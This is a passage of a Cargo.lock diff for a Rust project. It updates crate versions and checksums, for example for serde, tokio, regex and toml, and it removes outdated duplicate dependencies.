"9ca0b7bac0b97248c40bb77288fc52029cf1459c0461ea1b05ee32ccf011de2c" dependencies = [ "crossbeam-utils", "libc", - "mach2", "once_cell", "raw-cpuid", - "wasi 0.11.0+wasi-snapshot-preview1", + "wasi", "web-sys", "winapi", ] @@ -3292,9 +3057,9 @@ checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" [[package]] name = "quick-xml" -version = "0.27.1" +version = "0.31.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ffc053f057dd768a56f62cd7e434c42c831d296968997e9ac1f76ea7c2d14c41" +checksum = "1004a344b30a54e2ee58d66a71b32d2db2feb0a31f9a2d302bf0536f15de2a33" dependencies = [ "encoding_rs", "memchr", @@ -3302,9 +3067,9 @@ dependencies = [ [[package]] name = "quote" -version = "1.0.33" +version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] @@ -3322,37 +3087,13 @@ dependencies = [ [[package]] name = "rand" -version = "0.7.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" -dependencies = [ - "getrandom 0.1.16", - "libc", - "rand_chacha 0.2.2", - "rand_core 0.5.1", - "rand_hc", - "rand_pcg", -] - -[[package]] -name = "rand" version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" dependencies = [ "libc", - "rand_chacha 0.3.1", - "rand_core 0.6.4", -] - -[[package]] -name = "rand_chacha" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" -dependencies = [ - "ppv-lite86", - "rand_core 0.5.1", + "rand_chacha", + "rand_core", ] [[package]] @@ -3362,16 +3103,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" dependencies = [ "ppv-lite86", - "rand_core 0.6.4", -] - -[[package]] -name = "rand_core" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" -dependencies = [ - "getrandom 0.1.16", + "rand_core", ] [[package]] @@ -3380,50 +3112,32 @@ version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" dependencies = [ - "getrandom 0.2.10", -] - -[[package]] -name = "rand_hc" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" -dependencies = [ - "rand_core 0.5.1", -] - -[[package]] -name = "rand_pcg" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429" -dependencies = [ - "rand_core 0.5.1", + "getrandom", ] [[package]] name = "random_color" -version = "0.6.1" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f5f34bd6526786b2ce5141fd37a4084b5da1ebae74595b5b0d05482a7cef7181" +checksum = "0085421bc527effa7ed6d46bac0a28734663c47abe03d80a5e78e441fad85196" dependencies = [ - "rand 0.7.3", + "rand", ] [[package]] name = "raw-cpuid" -version = "10.7.0" +version = "11.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6c297679cb867470fa8c9f67dbba74a78d78e3e98d7cf2b08d6d71540f797332" +checksum = "9d86a7c4638d42c44551f4791a20e687dbb4c3de1f33c43dd71e355cd429def1" dependencies = [ - "bitflags 1.3.2", + "bitflags 2.4.2", ] [[package]] name = "rayon" -version = "1.8.0" +version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c27db03db7734835b3f53954b534c91069375ce6ccaa2e065441e07d9b6cdb1" +checksum = "e4963ed1bc86e4f3ee217022bd855b297cef07fb9eac5dfa1f788b220b49b3bd" dependencies = [ "either", "rayon-core", @@ -3431,9 +3145,9 @@ dependencies = [ [[package]] name = "rayon-core" -version = "1.12.0" +version = "1.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ce3fb6ad83f861aac485e76e1985cd109d9a3713802152be56c3b1f0e0658ed" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" dependencies = [ "crossbeam-deque", "crossbeam-utils", @@ -3447,38 +3161,29 @@ checksum = "ca8049c74229f22d8cba889ee1d541b05da9c9668d8fe2011bb922250d0be148" [[package]] name = "redox_syscall" -version = "0.2.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" -dependencies = [ - "bitflags 1.3.2", -] - -[[package]] -name = "redox_syscall" -version = "0.3.5" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" dependencies = [ "bitflags 1.3.2", ] [[package]] name = "redox_users" -version = "0.4.3" +version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" dependencies = [ - "getrandom 0.2.10", - "redox_syscall 0.2.16", + "getrandom", + "libredox", "thiserror", ] [[package]] name = "regex" -version = "1.9.5" +version = "1.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "697061221ea1b4a94a624f67d0ae2bfe4e22b8a17b6a192afb11046542cc8c47" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" dependencies = [ "aho-corasick", "memchr", @@ -3488,9 +3193,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.3.8" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c2f401f4955220693b56f8ec66ee9c78abffd8d1c4f23dc41a23839eb88f0795" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" dependencies = [ "aho-corasick", "memchr", @@ -3499,18 +3204,18 @@ dependencies = [ [[package]] name = "regex-syntax" -version = "0.7.5" +version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dbb5fb1acd8a1a18b3dd5be62d25485eb770e05afb408a9627d14d451bae12da" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] name = "reqwest" -version = "0.11.20" +version = "0.11.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3e9ad3fe7488d7e34558a2033d45a0c90b72d97b4f80705666fea71472e2e6a1" +checksum = "c6920094eb85afde5e4a138be3f2de8bbdf28000f0029e72c45025a56b042251" dependencies = [ "async-compression", - "base64 0.21.4", + "base64", "bytes", "cookie", "cookie_store", @@ -3521,7 +3226,6 @@ dependencies = [ "http", "http-body", "hyper", - "hyper-rustls", "hyper-tls", "ipnet", "js-sys", @@ -3532,14 +3236,14 @@ dependencies = [ "once_cell", "percent-encoding", "pin-project-lite", - "rustls", "rustls-pemfile", "serde", "serde_json", "serde_urlencoded", + "sync_wrapper", + "system-configuration", "tokio", "tokio-native-tls", - "tokio-rustls", "tokio-socks", "tokio-util", "tower-service", @@ -3549,7 +3253,6 @@ dependencies = [ "wasm-bindgen-futures", "wasm-streams", "web-sys", - "webpki-roots", "winreg", ] @@ -3564,84 +3267,35 @@ dependencies = [ ] [[package]] -name = "ring" -version = "0.16.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc" -dependencies = [ - "cc", - "libc", - "once_cell", - "spin 0.5.2", - "untrusted", - "web-sys", - "winapi", -] - -[[package]] name = "rust-embed" -version = "6.8.1" +version = "8.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a36224c3276f8c4ebc8c20f158eca7ca4359c8db89991c4925132aaaf6702661" +checksum = "fb78f46d0066053d16d4ca7b898e9343bc3530f71c61d5ad84cd404ada068745" dependencies = [ - "rust-embed-impl 6.8.1", - "rust-embed-utils 7.8.1", - "walkdir", -] - -[[package]] -name = "rust-embed" -version = "8.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1e7d90385b59f0a6bf3d3b757f3ca4ece2048265d70db20a2016043d4509a40" -dependencies = [ - "rust-embed-impl 8.0.0", - "rust-embed-utils 8.0.0", + "rust-embed-impl", + "rust-embed-utils", "walkdir", ] [[package]] name = "rust-embed-impl" -version = "6.8.1" +version = "8.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49b94b81e5b2c284684141a2fb9e2a31be90638caf040bf9afbc5a0416afe1ac" +checksum = "b91ac2a3c6c0520a3fb3dd89321177c3c692937c4eb21893378219da10c44fc8" dependencies = [ "proc-macro2", "quote", - "rust-embed-utils 7.8.1", - "syn 2.0.37", - "walkdir", -] - -[[package]] -name = "rust-embed-impl" -version = "8.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3c3d8c6fd84090ae348e63a84336b112b5c3918b3bf0493a581f7bd8ee623c29" -dependencies = [ - "proc-macro2", - "quote", - "rust-embed-utils 8.0.0", + "rust-embed-utils", "shellexpand", - "syn 2.0.37", + "syn 2.0.51", "walkdir", ] [[package]] name = "rust-embed-utils" -version = "7.8.1" +version = "8.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d38ff6bf570dc3bb7100fce9f7b60c33fa71d80e88da3f2580df4ff2bdded74" -dependencies = [ - "sha2 0.10.8", - "walkdir", -] - -[[package]] -name = "rust-embed-utils" -version = "8.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "873feff8cb7bf86fdf0a71bb21c95159f4e4a37dd7a4bd1855a940909b583ada" +checksum = "86f69089032567ffff4eada41c573fc43ff466c7db7c5688b2e7969584345581" dependencies = [ "sha2 0.10.8", "walkdir", @@ -3664,67 +3318,31 @@ dependencies = [ [[package]] name = "rustix" -version = "0.37.23" +version = "0.38.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d69718bf81c6127a49dc64e44a742e8bb9213c0ff8869a22c308f84c1d4ab06" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" dependencies = [ - "bitflags 1.3.2", + "bitflags 2.4.2", "errno", - "io-lifetimes", "libc", - "linux-raw-sys 0.3.8", - "windows-sys", -] - -[[package]] -name = "rustix" -version = "0.38.14" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "747c788e9ce8e92b12cd485c49ddf90723550b654b32508f979b71a7b1ecda4f" -dependencies = [ - "bitflags 2.4.0", - "errno", - "libc", - "linux-raw-sys 0.4.7", - "windows-sys", -] - -[[package]] -name = "rustls" -version = "0.21.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cd8d6c9f025a446bc4d18ad9632e69aec8f287aa84499ee335599fabd20c3fd8" -dependencies = [ - "log", - "ring", - "rustls-webpki", - "sct", + "linux-raw-sys", + "windows-sys 0.52.0", ] [[package]] name = "rustls-pemfile" -version = "1.0.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d3987094b1d07b653b7dfdc3f70ce9a1da9c51ac18c1b06b662e4f9a0e9f4b2" -dependencies = [ - "base64 0.21.4", -] - -[[package]] -name = "rustls-webpki" -version = "0.101.6" +version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3c7d5dece342910d9ba34d259310cae3e0154b873b35408b787b59bce53d34fe" +checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" dependencies = [ - "ring", - "untrusted", + "base64", ] [[package]] name = "ryu" -version = "1.0.15" +version = "1.0.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" +checksum = "e86697c916019a8588c99b5fac3cead74ec0b4b819707a682fd4d23fa0ce1ba1" [[package]] name = "same-file" @@ -3747,11 +3365,11 @@ dependencies = [ [[package]] name = "schannel" -version = "0.1.22" +version = "0.1.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c3733bf4cf7ea0880754e19cb5a462007c4a8c1914bff372ccc95b464f1df88" +checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534" dependencies = [ - "windows-sys", + "windows-sys 0.52.0", ] [[package]] @@ -3770,16 +3388,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" [[package]] -name = "sct" -version = "0.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d53dcdb7c9f8158937a7981b48accfd39a43af418591a5d008c7b22b5e1b7ca4" -dependencies = [ - "ring", - "untrusted", -] - -[[package]] name = "security-framework" version = "2.9.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3804,18 +3412,18 @@ dependencies = [ [[package]] name = "semver" -version = "1.0.19" +version = "1.0.22" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ad977052201c6de01a8ef2aa3378c4bd23217a056337d1d6da40468d267a4fb0" +checksum = "92d43fe69e652f3df9bdc2b85b2854a0825b86e4fb76bc44d945137d053639ca" dependencies = [ "serde", ] [[package]] name = "serde" -version = "1.0.188" +version = "1.0.197" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf9e0fcba69a370eed61bcf2b728575f726b50b55cba78064753d708ddc7549e" +checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2" dependencies = [ "serde_derive", ] @@ -3832,20 +3440,20 @@ dependencies = [ [[package]] name = "serde_derive" -version = "1.0.188" +version = "1.0.197" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" +checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] name = "serde_json" -version = "1.0.107" +version = "1.0.114" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6b420ce6e3d8bd882e9b243c6eed35dbc9a6110c9769e74b584e0d68d1f20c65" +checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0" dependencies = [ "itoa", "ryu", @@ -3854,20 +3462,20 @@ dependencies = [ [[package]] name = "serde_repr" -version = "0.1.16" +version = "0.1.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8725e1dfadb3a50f7e5ce0b1a540466f6ed3fe7a0fca2ac2b8b831d31316bd00" +checksum = "0b2e6b945e9d3df726b65d6ee24060aff8e3533d431f677a9695db04eff9dfdb" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] name = "serde_spanned" -version = "0.6.3" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "96426c9936fd7a0124915f9185ea1d20aa9445cc9821142f0a73bc9207a2e186" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" dependencies = [ "serde", ] @@ -3886,14 +3494,15 @@ dependencies = [ [[package]] name = "serde_yaml" -version = "0.8.26" +version = "0.9.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "578a7433b776b56a35785ed5ce9a7e777ac0598aac5a6dd1b4b18a307c7fc71b" +checksum = "8fd075d994154d4a774f95b51fb96bdc2832b0ea48425c92546073816cda1f2f" dependencies = [ - "indexmap 1.9.3", + "indexmap", + "itoa", "ryu", "serde", - "yaml-rust", + "unsafe-libyaml", ] [[package]] @@ -3933,11 +3542,11 @@ dependencies = [ [[package]] name = "shellexpand" -version = "2.1.2" +version = "3.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ccc8076840c4da029af4f87e4e8daeb0fca6b87bbb02e10cb60b791450e11e4" +checksum = "da03fa3b94cc19e3ebfc88c4229c49d8f08cdbd1228870a45f0ffdf84988e14b" dependencies = [ - "dirs 4.0.0", + "dirs", ] [[package]] @@ -3962,6 +3571,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" [[package]] +name = "siphasher" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54ac45299ccbd390721be55b412d41931911f654fa99e2cb8bfb57184b2061fe" + +[[package]] name = "skeptic" version = "0.13.7" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3987,35 +3602,25 @@ dependencies = [ [[package]] name = "smallvec" -version = "1.11.1" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "942b4a808e05215192e39f4ab80813e599068285906cc91aa64f923db842bd5a" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "socket2" -version = "0.4.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64a4a911eed85daf18834cfaa86a79b7d266ff93ff5ba14005426219480ed662" -dependencies = [ - "libc", - "winapi", -] - -[[package]] -name = "socket2" -version = "0.5.4" +version = "0.5.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4031e820eb552adee9295814c0ced9e5cf38ddf1e8b7d566d6de8e2538ea989e" +checksum = "05ffd9c0a93b7543e062e759284fcf5f5e3b098501104bfbdde4d404db792871" dependencies = [ "libc", - "windows-sys", + "windows-sys 0.52.0", ] [[package]] name = "soup3" -version = "0.5.0" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "471f924a40f31251afc77450e781cb26d55c0b650842efafc9c6cbd2f7cc4f9f" +checksum = "3fb6bbb0e56d089517432ca8aac0879e5f343b309783384a7fdbdd6d5232e681" dependencies = [ "futures-channel", "gio", @@ -4026,9 +3631,9 @@ dependencies = [ [[package]] name = "soup3-sys" -version = "0.5.0" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ebe8950a680a12f24f15ebe1bf70db7af98ad242d9db43596ad3108aab86c27" +checksum = "f9c6d7beef555a91c6129f5e71ecf4b6e9eac8b48914098d713b1537ebbf6917" dependencies = [ "gio-sys", "glib-sys", @@ -4039,12 +3644,6 @@ dependencies = [ [[package]] name = "spin" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d" - -[[package]] -name = "spin" version = "0.9.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" @@ -4085,12 +3684,6 @@ dependencies = [ ] [[package]] -name = "strsim" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" - -[[package]] name = "syn" version = "1.0.109" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4103,9 +3696,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.37" +version = "2.0.51" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7303ef2c05cd654186cb250d29049a24840ca25d2747c25c0381c8d9e2f582e8" +checksum = "6ab617d94515e94ae53b8406c628598680aa0c9587474ecbe58188f7b345d66c" dependencies = [ "proc-macro2", "quote", @@ -4113,15 +3706,42 @@ dependencies = [ ] [[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] name = "system-deps" -version = "6.1.1" +version = "6.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "30c2de8a4d8f4b823d634affc9cd2a74ec98c53a756f317e529a48046cbf71f3" +checksum = "2a2d580ff6a20c55dfb86be5f9c238f67835d0e81cbdea8bf5680e0897320331" dependencies = [ "cfg-expr", "heck", "pkg-config", - "toml", + "toml 0.8.10", "version-compare", ] @@ -4133,27 +3753,26 @@ checksum = "7b2093cf4c8eb1e67749a6762251bc9cd836b6fc171623bd0a9d324d37af2417" [[package]] name = "target-lexicon" -version = "0.12.11" +version = "0.12.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d0e916b1148c8e263850e1ebcbd046f333e0683c724876bb0da63ea4373dc8a" +checksum = "e1fc403891a21bcfb7c37834ba66a547a8f402146eba7265b5a6d88059c9ff2f" [[package]] name = "temp-dir" -version = "0.1.11" +version = "0.1.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af547b166dd1ea4b472165569fc456cfb6818116f854690b0ff205e636523dab" +checksum = "dd16aa9ffe15fe021c6ee3766772132c6e98dfa395a167e16864f61a9cfb71d6" [[package]] name = "tempfile" -version = "3.8.0" +version = "3.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb94d2f3cc536af71caac6b6fcebf65860b347e7ce0cc9ebe8f70d3e521054ef" +checksum = "85b77fafb263dd9d05cbeac119526425676db3784113aa9295c88498cbf8bff1" dependencies = [ "cfg-if", - "fastrand 2.0.1", - "redox_syscall 0.3.5", - "rustix 0.38.14", - "windows-sys", + "fastrand", + "rustix", + "windows-sys 0.52.0", ] [[package]] @@ -4169,49 +3788,48 @@ dependencies = [ [[package]] name = "termcolor" -version = "1.3.0" +version = "1.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6093bad37da69aab9d123a8091e4be0aa4a03e4d601ec641c327398315f62b64" +checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755" dependencies = [ "winapi-util", ] [[package]] name = "thiserror" -version = "1.0.49" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1177e8c6d7ede7afde3585fd2513e611227efd6481bd78d2e82ba1ce16557ed4" +checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.49" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "10712f02019e9288794769fba95cd6847df9874d49d871d062172f9dd41bc4cc" +checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] name = "thread-id" -version = "4.2.0" +version = "4.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "79474f573561cdc4871a0de34a51c92f7f5a56039113fbb5b9c9f96bdb756669" +checksum = "f0ec81c46e9eb50deaa257be2f148adf052d1fb7701cfd55ccfab2525280b70b" dependencies = [ "libc", - "redox_syscall 0.2.16", "winapi", ] [[package]] name = "tiff" -version = "0.9.0" +version = "0.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d172b0f4d3fba17ba89811858b9d3d97f928aece846475bbda076ca46736211" +checksum = "ba1310fcea54c6a9a4fd1aad794ecc02c31682f6bfbecdf460bf19533eed1e3e" dependencies = [ "flate2", "jpeg-decoder", @@ -4231,12 +3849,14 @@ dependencies = [ [[package]] name = "time" -version = "0.3.29" +version = "0.3.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "426f806f4089c493dcac0d24c29c01e2c38baf8e30f1b716ee37e83d200b18fe" +checksum = "c8248b6521bb14bc45b4067159b9b6ad792e2d6d754d6c41fb50e29fefe38749" dependencies = [ "deranged", "itoa", + "num-conv", + "powerfmt", "serde", "time-core", "time-macros", @@ -4250,10 +3870,11 @@ checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" [[package]] name = "time-macros" -version = "0.2.15" +version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4ad70d68dba9e1f8aceda7aa6711965dfec1cac869f311a51bd08b3a2ccbce20" +checksum = "7ba3a3ef41e6672a2f0f001392bb5dcd3ff0a9992d618ca761a11c3121547774" dependencies = [ + "num-conv", "time-core", ] @@ -4274,9 +3895,9 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tokio" -version = "1.32.0" +version = "1.36.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" dependencies = [ "backtrace", "bytes", @@ -4284,20 +3905,20 @@ dependencies = [ "mio", "num_cpus", "pin-project-lite", - "socket2 0.5.4", + "socket2", "tokio-macros", - "windows-sys", + "windows-sys 0.48.0", ] [[package]] name = "tokio-macros" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] @@ -4311,16 +3932,6 @@ dependencies = [ ] [[package]] -name = "tokio-rustls" -version = "0.24.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081" -dependencies = [ - "rustls", - "tokio", -] - -[[package]] name = "tokio-socks" version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4334,9 +3945,9 @@ dependencies = [ [[package]] name = "tokio-util" -version = "0.7.9" +version = "0.7.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d68074620f57a0b21594d9735eb2e98ab38b17f80d3fcb189fca266771ca60d" +checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15" dependencies = [ "bytes", "futures-core", @@ -4355,14 +3966,26 @@ dependencies = [ "serde", "serde_spanned", "toml_datetime", - "toml_edit", + "toml_edit 0.19.15", +] + +[[package]] +name = "toml" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a9aad4a3066010876e8dcf5a8a06e70a558751117a145c6ce2b82c2e2054290" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.22.6", ] [[package]] name = "toml_datetime" -version = "0.6.3" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" dependencies = [ "serde", ] @@ -4373,11 +3996,35 @@ version = "0.19.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" dependencies = [ - "indexmap 2.0.1", + "indexmap", + "serde", + "serde_spanned", + "toml_datetime", + "winnow 0.5.40", +] + +[[package]] +name = "toml_edit" +version = "0.21.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a8534fd7f78b5405e860340ad6575217ce99f38d4d5c8f2442cb5ecb50090e1" +dependencies = [ + "indexmap", + "toml_datetime", + "winnow 0.5.40", +] + +[[package]] +name = "toml_edit" +version = "0.22.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c1b5fd4128cc8d3e0cb74d4ed9a9cc7c7284becd4df68f5f940e1ad123606f6" +dependencies = [ + "indexmap", "serde", "serde_spanned", "toml_datetime", - "winnow", + "winnow 0.6.2", ] [[package]] @@ -4388,11 +4035,10 @@ checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" [[package]] name = "tracing" -version = "0.1.37" +version = "0.1.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" dependencies = [ - "cfg-if", "pin-project-lite", "tracing-attributes", "tracing-core", @@ -4400,35 +4046,35 @@ dependencies = [ [[package]] name = 